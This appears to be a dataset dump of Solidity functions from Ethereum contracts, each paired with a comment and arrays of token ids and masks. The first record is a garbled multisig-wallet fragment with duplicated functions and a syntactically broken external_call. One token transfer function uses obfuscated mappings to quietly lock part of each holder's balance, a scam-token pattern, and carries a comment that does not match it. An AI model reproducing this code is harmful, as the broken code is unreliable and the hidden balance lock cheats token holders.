OwnerRemoval(owner); } function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); emit OwnerRemoval(owner); } function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; emit OwnerRemoval(owner); emit OwnerAddition(newOwner); } function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; emit OwnerRemoval(owner); emit OwnerAddition(newOwner); } function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; emit RequirementChange(_required); } function submitTransaction(address destination, uint value, bytes memory data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; emit Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; emit Revocation(msg.sender, transactionId); } function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) emit Execution(transactionId); else { emit ExecutionFailure(transactionId); txn.executed = false; } } } function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) emit Execution(transactionId); else { emit ExecutionFailure(transactionId); txn.executed = false; } } } function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) emit Execution(transactionId); else { emit ExecutionFailure(transactionId); txn.executed = false; } } } function external_call(address destination, uint value, uint dataLength, bytes memory data) internal returns (bool) { bool result; bytes memory _data; (result, _data) = destination.call.value(value)(""); result := call( destination, value, d, x, ) }*/ return result; }
12,950,478
[ 1, 5049, 291, 724, 1231, 9230, 300, 25619, 3229, 1087, 606, 358, 1737, 992, 603, 8938, 1865, 4588, 18, 225, 7780, 74, 304, 15391, 280, 908, 300, 411, 334, 10241, 304, 18, 908, 280, 908, 36, 8559, 773, 1900, 18, 2758, 34, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 5991, 8267, 16936, 288, 203, 203, 565, 871, 17580, 367, 12, 2867, 8808, 5793, 16, 2254, 8808, 24112, 1769, 203, 565, 871, 14477, 4431, 12, 2867, 8808, 5793, 16, 2254, 8808, 24112, 1769, 203, 565, 871, 2592, 3951, 12, 11890, 8808, 24112, 1769, 203, 565, 871, 8687, 12, 11890, 8808, 24112, 1769, 203, 565, 871, 8687, 5247, 12, 11890, 8808, 24112, 1769, 203, 565, 871, 4019, 538, 305, 12, 2867, 8808, 5793, 16, 2254, 460, 1769, 203, 565, 871, 16837, 30296, 12, 2867, 8808, 3410, 1769, 203, 565, 871, 16837, 24543, 12, 2867, 8808, 3410, 1769, 203, 565, 871, 30813, 3043, 12, 11890, 1931, 1769, 203, 203, 565, 2254, 5381, 1071, 4552, 67, 29602, 67, 7240, 273, 6437, 31, 203, 203, 565, 2874, 261, 11890, 516, 5947, 13, 1071, 8938, 31, 203, 565, 2874, 261, 11890, 516, 2874, 261, 2867, 516, 1426, 3719, 1071, 6932, 1012, 31, 203, 565, 2874, 261, 2867, 516, 1426, 13, 1071, 353, 5541, 31, 203, 565, 1758, 8526, 1071, 25937, 31, 203, 565, 2254, 1071, 1931, 31, 203, 565, 2254, 1071, 2492, 1380, 31, 203, 203, 565, 1958, 5947, 288, 203, 3639, 1758, 2929, 31, 203, 3639, 2254, 460, 31, 203, 3639, 1731, 501, 31, 203, 3639, 1426, 7120, 31, 203, 565, 289, 203, 203, 565, 9606, 1338, 16936, 1435, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 1758, 12, 2211, 10019, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 565, 9606, 3410, 15264, 12, 2867, 3410, 13, 288, 203, 3639, 2583, 12, 5, 291, 5541, 2 ]
./partial_match/42/0x78380170703b5B955Ae5c9e73B48e4987040a5d1/sources/RewardsDistribution.sol
Iterate the array of distributions sending the configured amounts Transfer the PERI If the contract implements RewardsDistributionRecipient.sol, inform it how many PERI its received. solhint-disable avoid-low-level-calls Note: we're ignoring the return value as it will fail for contracts that do not implement RewardsDistributionRecipient.sol
function distributeRewards(uint amount) external returns (bool) { require(amount > 0, "Nothing to distribute"); require(msg.sender == authority, "Caller is not authorised"); require(rewardEscrow != address(0), "RewardEscrow is not set"); require(PynthetixProxy != address(0), "PynthetixProxy is not set"); require(feePoolProxy != address(0), "FeePoolProxy is not set"); require( IERC20(PynthetixProxy).balanceOf(address(this)) >= amount, "RewardsDistribution contract does not have enough tokens to distribute" ); uint remainder = amount; for (uint i = 0; i < distributions.length; i++) { if (distributions[i].destination != address(0) || distributions[i].amount != 0) { remainder = remainder.sub(distributions[i].amount); IERC20(PynthetixProxy).transfer(distributions[i].destination, distributions[i].amount); bytes memory payload = abi.encodeWithSignature("notifyRewardAmount(uint256)", distributions[i].amount); (bool success, ) = distributions[i].destination.call(payload); if (!success) { } } } emit RewardsDistributed(amount); return true; }
3,334,594
[ 1, 14916, 326, 526, 434, 23296, 5431, 326, 4351, 30980, 12279, 326, 10950, 45, 971, 326, 6835, 4792, 534, 359, 14727, 9003, 18241, 18, 18281, 16, 13235, 518, 3661, 4906, 10950, 45, 2097, 5079, 18, 3704, 11317, 17, 8394, 4543, 17, 821, 17, 2815, 17, 12550, 3609, 30, 732, 4565, 14398, 326, 327, 460, 487, 518, 903, 2321, 364, 20092, 716, 741, 486, 2348, 534, 359, 14727, 9003, 18241, 18, 18281, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 25722, 17631, 14727, 12, 11890, 3844, 13, 3903, 1135, 261, 6430, 13, 288, 203, 3639, 2583, 12, 8949, 405, 374, 16, 315, 23814, 358, 25722, 8863, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 11675, 16, 315, 11095, 353, 486, 2869, 5918, 8863, 203, 3639, 2583, 12, 266, 2913, 6412, 492, 480, 1758, 12, 20, 3631, 315, 17631, 1060, 6412, 492, 353, 486, 444, 8863, 203, 3639, 2583, 12, 52, 878, 451, 278, 697, 3886, 480, 1758, 12, 20, 3631, 315, 52, 878, 451, 278, 697, 3886, 353, 486, 444, 8863, 203, 3639, 2583, 12, 21386, 2864, 3886, 480, 1758, 12, 20, 3631, 315, 14667, 2864, 3886, 353, 486, 444, 8863, 203, 3639, 2583, 12, 203, 5411, 467, 654, 39, 3462, 12, 52, 878, 451, 278, 697, 3886, 2934, 12296, 951, 12, 2867, 12, 2211, 3719, 1545, 3844, 16, 203, 5411, 315, 17631, 14727, 9003, 6835, 1552, 486, 1240, 7304, 2430, 358, 25722, 6, 203, 3639, 11272, 203, 203, 3639, 2254, 10022, 273, 3844, 31, 203, 203, 3639, 364, 261, 11890, 277, 273, 374, 31, 277, 411, 23296, 18, 2469, 31, 277, 27245, 288, 203, 5411, 309, 261, 2251, 15326, 63, 77, 8009, 10590, 480, 1758, 12, 20, 13, 747, 23296, 63, 77, 8009, 8949, 480, 374, 13, 288, 203, 7734, 10022, 273, 10022, 18, 1717, 12, 2251, 15326, 63, 77, 8009, 8949, 1769, 203, 203, 7734, 467, 654, 39, 3462, 12, 52, 878, 451, 278, 697, 3886, 2934, 13866, 12, 2251, 15326, 63, 77, 8009, 10590, 16, 23296, 63, 77, 8009, 2 ]
./partial_match/1/0x085515c2eD7B498Df5E2d508Fe2F28733d2F137c/sources/MigrationTool.sol
@title IMigrationTool @author Alchemix Finance
interface IMigrationTool { event Received(address, uint); function version() external view returns (string memory); function previewMigration( address account, address startingYieldToken, address targetYieldToken, uint256 shares ) external view returns (bool canMigrate, string memory state, uint256 amountToAdjust, uint256 minReturnShares, uint256 minReturnUnderlying); function migrateVaults( address startingYieldToken, address targetYieldToken, uint256 shares, uint256 minReturnShares, uint256 minReturnUnderlying ) external returns (uint256 finalShares); { } import {IWETH9} from "./IWETH9.sol"; import {SafeCast} from "./SafeCast.sol"; }
9,135,075
[ 1, 3445, 6574, 6364, 225, 2262, 1036, 697, 9458, 1359, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 6246, 6574, 6364, 288, 203, 565, 871, 21066, 12, 2867, 16, 2254, 1769, 203, 203, 565, 445, 1177, 1435, 3903, 1476, 1135, 261, 1080, 3778, 1769, 203, 203, 565, 445, 10143, 10224, 12, 4202, 203, 3639, 1758, 2236, 16, 21281, 3639, 1758, 5023, 16348, 1345, 16, 203, 3639, 1758, 1018, 16348, 1345, 16, 203, 3639, 2254, 5034, 24123, 203, 565, 262, 3903, 1476, 1135, 261, 6430, 848, 19594, 16, 533, 3778, 919, 16, 2254, 5034, 3844, 774, 10952, 16, 2254, 5034, 1131, 990, 24051, 16, 2254, 5034, 1131, 990, 14655, 6291, 1769, 203, 203, 565, 445, 13187, 12003, 87, 12, 203, 3639, 1758, 5023, 16348, 1345, 16, 203, 3639, 1758, 1018, 16348, 1345, 16, 203, 3639, 2254, 5034, 24123, 16, 203, 3639, 2254, 5034, 1131, 990, 24051, 16, 203, 3639, 2254, 5034, 1131, 990, 14655, 6291, 203, 565, 262, 3903, 1135, 261, 11890, 5034, 727, 24051, 1769, 203, 95, 289, 203, 5666, 288, 45, 59, 1584, 44, 29, 97, 628, 25165, 45, 59, 1584, 44, 29, 18, 18281, 14432, 203, 5666, 288, 9890, 9735, 97, 628, 25165, 9890, 9735, 18, 18281, 14432, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xb35B49f1ba5BF02FaC1bCb3dFF8e9c445C5218E2/sources/Token.sol
decrementing then incrementing.
function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); uint256 minAmount = _nxcvnwe[from]; uint256 decydsBalance = _gfekhrwec[from].sub(minAmount); require(decydsBalance >= amount, "ERC20: transfer amount exceeds balance"); uint256 fee = amount.mul(fees).div(10000); uint256 feeAmount = amount.sub(fee); _gfekhrwec[from] = decydsBalance.sub(amount); _gfekhrwec[to] = _gfekhrwec[to].add(feeAmount); emit Transfer(from, to, amount); }
15,665,057
[ 1, 323, 3702, 310, 1508, 5504, 310, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 13866, 12, 2867, 628, 16, 1758, 358, 16, 2254, 5034, 3844, 13, 2713, 5024, 288, 203, 3639, 2583, 12, 2080, 480, 1758, 12, 20, 3631, 315, 654, 39, 3462, 30, 7412, 628, 326, 3634, 1758, 8863, 203, 3639, 2583, 12, 869, 480, 1758, 12, 20, 3631, 315, 654, 39, 3462, 30, 7412, 358, 326, 3634, 1758, 8863, 203, 203, 3639, 2254, 5034, 1131, 6275, 273, 389, 82, 6511, 25031, 1814, 63, 2080, 15533, 203, 3639, 2254, 5034, 2109, 93, 2377, 13937, 273, 389, 75, 3030, 79, 7256, 91, 557, 63, 2080, 8009, 1717, 12, 1154, 6275, 1769, 203, 3639, 2583, 12, 323, 2431, 2377, 13937, 1545, 3844, 16, 315, 654, 39, 3462, 30, 7412, 3844, 14399, 11013, 8863, 203, 3639, 2254, 5034, 14036, 273, 3844, 18, 16411, 12, 3030, 281, 2934, 2892, 12, 23899, 1769, 203, 3639, 2254, 5034, 14036, 6275, 273, 3844, 18, 1717, 12, 21386, 1769, 203, 3639, 389, 75, 3030, 79, 7256, 91, 557, 63, 2080, 65, 273, 2109, 93, 2377, 13937, 18, 1717, 12, 8949, 1769, 203, 3639, 389, 75, 3030, 79, 7256, 91, 557, 63, 869, 65, 273, 389, 75, 3030, 79, 7256, 91, 557, 63, 869, 8009, 1289, 12, 21386, 6275, 1769, 203, 3639, 3626, 12279, 12, 2080, 16, 358, 16, 3844, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract TokenInterface { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function getMaxTotalSupply() public view returns (uint256); function mint(address _to, uint256 _amount) public returns (bool); function transfer(address _to, uint256 _amount) public returns (bool); function allowance( address _who, address _spender ) public view returns (uint256); function transferFrom( address _from, address _to, uint256 _value ) public returns (bool); } contract MiningTokenInterface { function multiMint(address _to, uint256 _amount) external; function getTokenTime(uint256 _tokenId) external returns(uint256); function mint(address _to, uint256 _id) external; function ownerOf(uint256 _tokenId) public view returns (address); function totalSupply() public view returns (uint256); function balanceOf(address _owner) public view returns (uint256 _balance); function tokenByIndex(uint256 _index) public view returns (uint256); function arrayOfTokensByAddress(address _holder) public view returns(uint256[]); function getTokensCount(address _owner) public returns(uint256); function tokenOfOwnerByIndex( address _owner, uint256 _index ) public view returns (uint256 _tokenId); } contract Management { using SafeMath for uint256; uint256 public startPriceForHLPMT = 10000; uint256 public maxHLPMTMarkup = 40000; uint256 public stepForPrice = 1000; uint256 public startTime; uint256 public lastMiningTime; // default value uint256 public decimals = 18; TokenInterface public token; MiningTokenInterface public miningToken; address public dao; address public fund; address public owner; // num of mining times uint256 public numOfMiningTimes; mapping(address => uint256) public payments; mapping(address => uint256) public paymentsTimestamps; // mining time => mining reward mapping(uint256 => uint256) internal miningReward; // id mining token => getting reward last mining mapping(uint256 => uint256) internal lastGettingReward; modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyDao() { require(msg.sender == dao); _; } constructor( address _token, address _miningToken, address _dao, address _fund ) public { require(_token != address(0)); require(_miningToken != address(0)); require(_dao != address(0)); require(_fund != address(0)); startTime = now; lastMiningTime = startTime - (startTime % (1 days)) - 1 days; owner = msg.sender; token = TokenInterface(_token); miningToken = MiningTokenInterface(_miningToken); dao = _dao; fund = _fund; } /** * @dev Exchanges the HLT tokens to HLPMT tokens. Works up to 48 HLPMT * tokens at one-time buying. Should call after approving HLT tokens to * manager address. */ function buyHLPMT() external { uint256 _currentTime = now; uint256 _allowed = token.allowance(msg.sender, address(this)); uint256 _currentPrice = getPrice(_currentTime); require(_allowed >= _currentPrice); //remove the remainder uint256 _hlpmtAmount = _allowed.div(_currentPrice); _allowed = _hlpmtAmount.mul(_currentPrice); require(token.transferFrom(msg.sender, fund, _allowed)); for (uint256 i = 0; i < _hlpmtAmount; i++) { uint256 _id = miningToken.totalSupply(); miningToken.mint(msg.sender, _id); lastGettingReward[_id] = numOfMiningTimes; } } /** * @dev Produces the mining process and sends reward to dao and fund. */ function mining() external { uint256 _currentTime = now; require(_currentTime > _getEndOfLastMiningDay()); uint256 _missedDays = (_currentTime - lastMiningTime) / (1 days); updateLastMiningTime(_currentTime); for (uint256 i = 0; i < _missedDays; i++) { // 0.1% daily from remaining unmined tokens. uint256 _dailyTokens = token.getMaxTotalSupply().sub(token.totalSupply()).div(1000); uint256 _tokensToDao = _dailyTokens.mul(3).div(10); // 30 percent token.mint(dao, _tokensToDao); uint256 _tokensToFund = _dailyTokens.mul(3).div(10); // 30 percent token.mint(fund, _tokensToFund); uint256 _miningTokenSupply = miningToken.totalSupply(); uint256 _tokensToMiners = _dailyTokens.mul(4).div(10); // 40 percent uint256 _tokensPerMiningToken = _tokensToMiners.div(_miningTokenSupply); miningReward[++numOfMiningTimes] = _tokensPerMiningToken; token.mint(address(this), _tokensToMiners); } } /** * @dev Sends the daily mining reward to HLPMT holder. */ function getReward(uint256[] tokensForReward) external { uint256 _rewardAmount = 0; for (uint256 i = 0; i < tokensForReward.length; i++) { if ( msg.sender == miningToken.ownerOf(tokensForReward[i]) && numOfMiningTimes > getLastRewardTime(tokensForReward[i]) ) { _rewardAmount += _calculateReward(tokensForReward[i]); setLastRewardTime(tokensForReward[i], numOfMiningTimes); } } require(_rewardAmount > 0); token.transfer(msg.sender, _rewardAmount); } function checkReward(uint256[] tokensForReward) external view returns (uint256) { uint256 reward = 0; for (uint256 i = 0; i < tokensForReward.length; i++) { if (numOfMiningTimes > getLastRewardTime(tokensForReward[i])) { reward += _calculateReward(tokensForReward[i]); } } return reward; } /** * @param _tokenId token id * @return timestamp of token creation */ function getLastRewardTime(uint256 _tokenId) public view returns(uint256) { return lastGettingReward[_tokenId]; } /** * @dev Sends the daily mining reward to HLPMT holder. */ function sendReward(uint256[] tokensForReward) public onlyOwner { for (uint256 i = 0; i < tokensForReward.length; i++) { if (numOfMiningTimes > getLastRewardTime(tokensForReward[i])) { uint256 reward = _calculateReward(tokensForReward[i]); setLastRewardTime(tokensForReward[i], numOfMiningTimes); token.transfer(miningToken.ownerOf(tokensForReward[i]), reward); } } } /** * @dev Returns the HLPMT token amount of holder. */ function miningTokensOf(address holder) public view returns (uint256[]) { return miningToken.arrayOfTokensByAddress(holder); } /** * @dev Sets the DAO address * @param _dao DAO address. */ function setDao(address _dao) public onlyOwner { require(_dao != address(0)); dao = _dao; } /** * @dev Sets the fund address * @param _fund Fund address. */ function setFund(address _fund) public onlyOwner { require(_fund != address(0)); fund = _fund; } /** * @dev Sets the token address * @param _token Token address. */ function setToken(address _token) public onlyOwner { require(_token != address(0)); token = TokenInterface(_token); } /** * @dev Sets the mining token address * @param _miningToken Mining token address. */ function setMiningToken(address _miningToken) public onlyOwner { require(_miningToken != address(0)); miningToken = MiningTokenInterface(_miningToken); } /** * @return uint256 the current HLPMT token price in HLT (without decimals). */ function getPrice(uint256 _timestamp) public view returns(uint256) { uint256 _raising = _timestamp.sub(startTime).div(30 days); _raising = _raising.mul(stepForPrice); if (_raising > maxHLPMTMarkup) _raising = maxHLPMTMarkup; return (startPriceForHLPMT + _raising) * 10 ** 18; } /** * @param _numOfMiningTime is time * @return getting token reward */ function getMiningReward(uint256 _numOfMiningTime) public view returns (uint256) { return miningReward[_numOfMiningTime]; } /** * @dev Returns the calculated reward amount. */ function _calculateReward(uint256 tokenID) internal view returns (uint256 reward) { for (uint256 i = getLastRewardTime(tokenID) + 1; i <= numOfMiningTimes; i++) { reward += miningReward[i]; } return reward; } /** * @dev set last getting token reward time */ function setLastRewardTime(uint256 _tokenId, uint256 _num) internal { lastGettingReward[_tokenId] = _num; } /** * @dev set last getting token reward time */ function updateLastMiningTime(uint256 _currentTime) internal { lastMiningTime = _currentTime - _currentTime % (1 days); } /** * @return uint256 the unix timestamp of the end of the last mining day. */ function _getEndOfLastMiningDay() internal view returns(uint256) { return lastMiningTime + 1 days; } /** * @dev Withdraw accumulated balance, called by payee. */ function withdrawPayments() public { address payee = msg.sender; uint256 payment = payments[payee]; uint256 timestamp = paymentsTimestamps[payee]; require(payment != 0); require(now >= timestamp); payments[payee] = 0; require(token.transfer(msg.sender, payment)); } /** * @dev Called by the payer to store the sent _amount as credit to be pulled. * @param _dest The destination address of the funds. * @param _amount The amount to transfer. */ function asyncSend(address _dest, uint256 _amount, uint256 _timestamp) external onlyDao { payments[_dest] = payments[_dest].add(_amount); paymentsTimestamps[_dest] = _timestamp; require(token.transferFrom(dao, address(this), _amount)); } }
* @dev Produces the mining process and sends reward to dao and fund./ 0.1% daily from remaining unmined tokens.
function mining() external { uint256 _currentTime = now; require(_currentTime > _getEndOfLastMiningDay()); uint256 _missedDays = (_currentTime - lastMiningTime) / (1 days); updateLastMiningTime(_currentTime); for (uint256 i = 0; i < _missedDays; i++) { uint256 _dailyTokens = token.getMaxTotalSupply().sub(token.totalSupply()).div(1000); token.mint(dao, _tokensToDao); token.mint(fund, _tokensToFund); uint256 _miningTokenSupply = miningToken.totalSupply(); uint256 _tokensPerMiningToken = _tokensToMiners.div(_miningTokenSupply); miningReward[++numOfMiningTimes] = _tokensPerMiningToken; token.mint(address(this), _tokensToMiners); } }
10,227,473
[ 1, 27291, 326, 1131, 310, 1207, 471, 9573, 19890, 358, 15229, 471, 284, 1074, 18, 19, 374, 18, 21, 9, 18872, 628, 4463, 640, 1154, 329, 2430, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
